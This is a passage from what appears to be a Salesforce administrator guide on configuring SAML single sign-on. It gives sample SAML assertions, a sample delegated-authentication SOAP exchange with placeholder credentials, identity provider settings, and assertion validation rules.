the session cookie are used.

675

Security and Sharing

Working With Your Identity Provider

2. Values passed in from the identity provider.


3. Values from the single sign-on configuration page.
If you decide not to add these values to the single sign-on configuration, share them with your identity provider. They will
need to use these values either in the login URL or the assertion.
You can also decide if you want users to be directed to a custom error page if theres an error during SAML login: It must be
a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. Use this value when
you configure SAML.

Example SAML Assertions


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Share the example SAML assertions with your identity provider so they can determine the format of the information Salesforce
requires for successful single-sign on.
In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the
specific feature:

assertions for portals


assertions for Sites
SOAP message for delegated authentication
assertion for just-in-time provisioning

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element
in the <Subject> element
SAML 1.1:
<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>
</Subject>

SAML 2.0:
<saml:Subject>
<saml:NameID

676

Security and Sharing

Working With Your Identity Provider

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>
</saml:Subject>

SAML User ID type is the Salesforce username, and SAML User ID location is the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce User object's FederationIdentifier field, and SAML User ID location is
the <NameIdentifier> element in the <Subject> element
SAML 1.1:
<AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
NameQualifier="www.saml_assertions.com">
MyName
</saml:NameIdentifier>
</saml:Subject>
</AttributeStatement>

SAML 2.0:
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>

677

Security and Sharing

Working With Your Identity Provider

</saml:SubjectConfirmation>
</saml:Subject>

Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.

SAML User ID type is theSalesforce User object's FederationIdentifier field, and SAML User ID location is
the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element
in the <Subject> element
The following is a complete SAML response, for SAML 2.0:
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>

678

Security and Sharing

Working With Your Identity Provider

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Sample SAML Assertions for Portals


The following shows the portal_id and organization_id attributes in a SAML assertion statement:
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">

679

Security and Sharing

Working With Your Identity Provider

<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is
using federated sign-on, which is included in an attribute, not in the subject.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null
</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute FriendlyName="Friendly Name" Name="federationId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">SomeOtherValue
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5

680

Security and Sharing

Working With Your Identity Provider

</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Sample SAML Assertion for Sites


The following shows the portal_id, organization_id, and siteurl attributes in a SAML assertion statement:
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">060900000004cDk
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">00D900000008bX0
</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="siteurl">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue>
</saml:Attribute>

Sample SOAP Message for Delegated Authentication


As part of the delegated authentication single sign-on process, a salesforce.com server makes a SOAP 1.1 request to authenticate
the user who is passing in the credentials. Here is an example of this type of request. Your single sign-on Web service needs
to accept this request, process it, and return a true or false response.
Sample Request
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<Authenticate xmlns="urn:authentication.soap.sforce.com">
<username>sampleuser@sample.org</username>
<password>myPassword99</password>
<sourceIp>1.2.3.4</sourceIp>
</Authenticate>
</soapenv:Body>
</soapenv:Envelope>

681

Security and Sharing

Working With Your Identity Provider

Sample Response Message


<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<AuthenticateResult
xmlns="urn:authentication.soap.sforce.com">
<Authenticated>false</Authenticated>
</AuthenticateResult>
</soapenv:Body>
</soapenv:Envelope>

Sample SAML Assertion for Just-In-Time Provisioning


The following is a sample SAML assertion for just in time provisioning.
<saml:Attribute Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.Phone"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">415-123-1234
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.FirstName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Testuser
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.LanguageLocaleKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_US
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.CompanyName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Salesforce.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.Alias"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.CommunityNickname"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.UserRoleId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">000000000000000
</saml:AttributeValue>
</saml:Attribute>

682

Security and Sharing

Working With Your Identity Provider

<saml:Attribute Name="User.Title"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Mr.
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.LocaleSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_CA
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name=" User.FederationIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.TimeZoneSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.LastName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Lee
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.ProfileId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.IsActive"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.EmailEncodingKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">UTF-8
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

683

Security and Sharing

Working With Your Identity Provider

Identity Provider Values


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Before you can configure Salesforce for SAML, you must receive information from your identity provider. This information
must be used on the single sign-on page.
The following information might be useful for your identity provider.
Field

Description

SAML Version

The version of SAML your identity provider uses. Salesforce currently supports version 1.1
and 2.0. The SAML specifications for the various versions are linked below:
SAML 1.1
SAML 2.0

Issuer

The Entity IDa URL that uniquely identifies your SAML identity provider. SAML
assertions sent to Salesforce must match this value exactly in the <saml:Issuer> attribute
of SAML assertions.

Entity ID

The issuer in SAML requests generated by Salesforce, and is also the expected audience of
any inbound SAML Responses. If you dont have domains deployed, this value is always
https://saml.salesforce.com. If you have domains deployed, Salesforce recommends
that you use your custom domain name. You can find the value on the Single Sign-On Settings
page. Click Your Name > Setup > Security Controls > Single Sign-On Settings.

Identity Provider
Certificate

The authentication certificate issued by your identity provider.

Identity Provider
Login URL

For SAML 2.0 only: The URL where Salesforce sends a SAML request to start the login
sequence.
If you have domains deployed and a value specified for this field, login requests are usually
sent to the address specified by this field. However, if you need to bypass this value (for
example, your identity provider is down) add the login parameter to the query string for the
login page. For example: http://mydomain.my.salesforce.com?login

684

Security and Sharing

Working With Your Identity Provider

Field

Description

Identity Provider
Logout URL

For SAML 2.0 only: The URL to direct the user to when they click the Logout link in
Salesforce. The default is http://www.salesforce.com.

Salesforce Login URL

The URL associated with login for the Web single sign-on flow. See SAML Assertion Flow
on page 2196.

OAuth 2.0 Token


Endpoint

For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider
in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196.

Custom Error URL

The URL of the page users should be directed to if there's an error during SAML login. It
must be a publicly accessible page, such as a public site Visualforce page. The URL can be
absolute or relative.

SAML User ID Type

The element in a SAML assertion that contains the string that identifies a Salesforce user.
Values are:
Assertion contains Users Salesforce username

Use this option if your identity provider passes the Salesforce username in SAML
assertions.
Assertion contains the Federation ID from the User object

Use this option if your identity provider passes an external user identifier, for example
an employee ID, in the SAML assertion to identify the user.
SAML User ID Location The location in the assertion where a user should be identified. Values are:
User ID is in the NameIdentifier element of the Subject statement

The Salesforce Username or FederationIdentifier is located in the <Subject>


statement of the assertion.
User ID is in an Attribute element

The Salesforce Username or FederationIdentifier is specified in an


<AttributeValue>, located in the <Attribute> of the assertion.
Attribute Name

If User ID is in an Attribute element is selected, this contains the value of the


AttributeName that is specified in <Attribute> that contains the User ID.

Attribute URI

If SAML 1.1 is the specified SAML version and User ID is in an Attribute


element is selected, this contains the value of the AttributeNamespace that is specified
in <Attribute>.

Name ID Format

If SAML 2.0 is the specified SAML version and User ID is in an Attribute


element is selected, this contains the value for the nameid-format. Possible values include
unspecified, emailAddress or persistent. All legal values can be found in the Name
Identifier Format Identifiers section of the Assertions and Protocols SAML 2.0 specification.

Start, Login and Logout URL Values


In addition to the information used during the single sign-on, your identity provider can also set the start, login, and logout
pages. You can also specify these pages yourself when you configure single sign-on.
The following information might be useful to your identity provider if they are setting these pages.

685

Security and Sharing

Working With Your Identity Provider

The SAML specification supports an HTML form that is used to pass the SAML assertion via HTTPS POST.
For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional
information to Salesforce prepended with a specially formatted URL that contains URL-encoded parameters.
The URL for SAML 1.1 to include in the TARGET field is as follows: https://saml.salesforce.com/?
For SAML 2.0, instead of using the TARGET field, the identity providers uses the <AttributeStatement> in the SAML
assertion to specify the additional information.
Salesforce supports the following parameters:
Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include
their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the
<AttributeStatement>.
ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is
directed to this page when requesting a protected resource in Salesforce, without an active session. The ssoStartPage
should be the SAML identity provider's login page.
startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be
absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is
only used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were
authenticated.
logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce. The
default is http://www.salesforce.com.

The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start
page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and
logoutURL:
<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
https://www.salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

686

Security and Sharing

Configuring SAML Settings for Single Sign-On

Configuring SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

From this page, you can configure your organization to use single sign-on. You can also set up just-in-time provisioning. Work
with your identity provider to properly configure these settings. For more information about single sign-on, see About Single
Sign-On. For more information about just-in-time provisioning, see About Just-In-Time Provisioning.
Configuring Single Sign-on
To configure SAML settings for single sign-on from your corporate identity provider to Salesforce:
1.
2.
3.
4.
5.
6.
7.

Gather information from your identity provider.


Provide information to your identity provider.
In Salesforce, navigate to Your Name > Setup > Security Controls > Single Sign-On Settings, and click Edit.
Select SAML Enabled. You must enable SAML to view the SAML single sign-on settings.
Specify the SAML version used by your identity provider.
Enter the Issuer. This is often referred to as the entity ID for the identity provider.
For the Identity Provider Certificate, use the Browse button to locate and upload the authentication certificate
issued by your identity provider.
8. For SAML 2.0, if your identity provider has specific login or logout pages, specify them in Identity Provider Login URL
and Identity Provider Logout URL, respectively.
9. For the Custom Error URL, specify the URL of the page users should be directed to if there's an error during SAML
login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative.
10. If you are enabling just-in-time provisioning for security, check User Provisioning Enabled.
Note:

Just-in-time provisioning requires a Federation ID in the user type. In SAML User ID Type, select Assertion
contains the Federation ID from the User object.
If your identity provider previously used the Salesforce username, communicate to them that they must use the
Federation ID.

11. For the SAML User ID Type, SAML User ID Location, and other values as appropriate, specify the value provided
by your identity provider.
12. If your Salesforce organization has domains deployed, specify whether you want to use the base domain
(https://saml.salesforce.com) or the custom domain for the Entity ID. You must share this information with
your identity provider.

687

Security and Sharing

Viewing Single Sign-On Settings

Tip: Generally, use the custom domain as the entity ID. If you already have single sign-on configured before
deploying a domain, the base domain is the entity ID. If you are providing Salesforce to Salesforce services, you
must specify the custom domain.
13. Click Save.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their
settings for connecting to your Salesforce organization.
After you have configured and saved your SAML settings, test them by trying to access the identity provider's application.
Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce login page.
Each assertion is verified, and if successful, single sign-on is allowed.
If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML
Assertion Validator. You may have to obtain a SAML assertion from your identity provider first.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If you are using SAML version 2.0, after you've finished configuring SAML, the OAuth 2.0 Token Endpoint field is populated.
Use this with the Web single sign-on authentication flow on page 2196 for OAuth 2.0.

See Also:
About Single Sign-On
About Just-in-Time Provisioning for SAML
Best Practices for Implementing Single Sign-On
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

Viewing Single Sign-On Settings


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

After you have configured your Salesforce organization to use SAML, you can view the single sign-on settings. Click Your
Name > Setup > Security Controls > Single Sign-on Settings.

688

Security and Sharing

Viewing Single Sign-On Settings

This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you
configured SAML. The following fields contain information automatically generated by completing the configuration. The
available fields depend on your configuration.
Field

Description

Salesforce Login URL

For SAML 2.0 only. If you select Assertion contains User's salesforce.com username for
SAML User ID Type and User ID is in the NameIdentifier element of the Subject
statement for SAML User ID Location, this URL is the URL associated with login for
the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196

Salesforce Logout URL For SAML 2.0. Displays the Salesforce logout URL that the user is directed to after he or
she logs off. This URL is only used if no value is specified for Identity Provider Logout
URL.
OAuth 2.0 Token
Endpoint

For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider
in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196.

From this page you can do any of the following:

Click Edit to change the existing SAML configuration.


Click SAML Assertion Validator to validate the SAML settings for your organization using a SAML assertion provided
by your identity provider.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to download an XML configuration file to send them, which they can then upload to automatically configure
their settings for connecting to your Salesforce organization.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

689

Security and Sharing

Validating SAML Settings for Single Sign-On

Validating SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

If your users have difficulty logging into Salesforce after you configure Salesforce for single sign-on, use the SAML Assertion
Validator and the login history to validate the SAML assertions sent by your identity provider.
1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64
encoded.
If a user tries to log in to Salesforce and fails, the invalid SAML assertion is used to automatically populate the SAML
Assertion Validator if possible.
2. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click SAML Assertion Validator.
3. Enter the SAML assertion into the text box, and click Validate.
4. Share the results of the validation errors with your identity provider.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

690

Security and Sharing

Validating SAML Settings for Single Sign-On

SAML Assertion Validation Errors


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view the settings:

View Setup and Configuration

To edit the settings:

Customize Application
AND
Modify All Data

Salesforce imposes the following validity requirements on assertions:


Authentication Statement
The identity provider must include an <AuthenticationStatement> in the assertion.
Conditions Statement
If the assertion contains a <Conditions> statement, it must contain a valid timestamp.
Timestamps
The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five
minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences
between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid.
Attribute
If your Salesforce configuration is set to User ID is in an Attribute element, the assertion from the identity
provider must contain an <AttributeStatement>.
If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the
<AttributeStatement>.
If you are using SAML 2.0, only <AttributeName> is required.
Format
The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.

For example:
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

The following example is also valid:


<saml:Issuer >https://www.salesforce.com</saml:Issuer>

691

Security and Sharing

Validating SAML Settings for Single Sign-On

Issuer
The issuer specified in an assertion must match the issuer specified in Salesforce.
Subject
The subject of the assertion must be resolved to be either the Salesforce username or the Federation ID of the user.
Audience
The <Audience> value is required and must match the Entity ID from the single sign-on configuration. The default
value is https://saml.salesforce.com.
Recipient
The recipient specified in an assertion must match either the Salesforce login URL specified in the Salesforce configuration
or the OAuth 2.0 token endpoint. This is a required portion of the assertion and is always verified.
Signature
A valid signature must be included in the assertion. The signature must be created using the private key associated with
the certificate that was provided in the SAML configuration.
Recipient
Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization
ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if its
present. For example:
Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/
?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3
Recipient that we expected based on the Single Sign-On Settings page:
http://asmith.salesforce.com:8081/
?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w
Organization Id that we expected: 00Dx0000000BQlI
Organization Id that we found based on your assertion: 00D000000000062

Site URL Attribute


Verifies if a valid Sites URL is provided. Values are:

Not Provided
Checked
Site URL is invalid
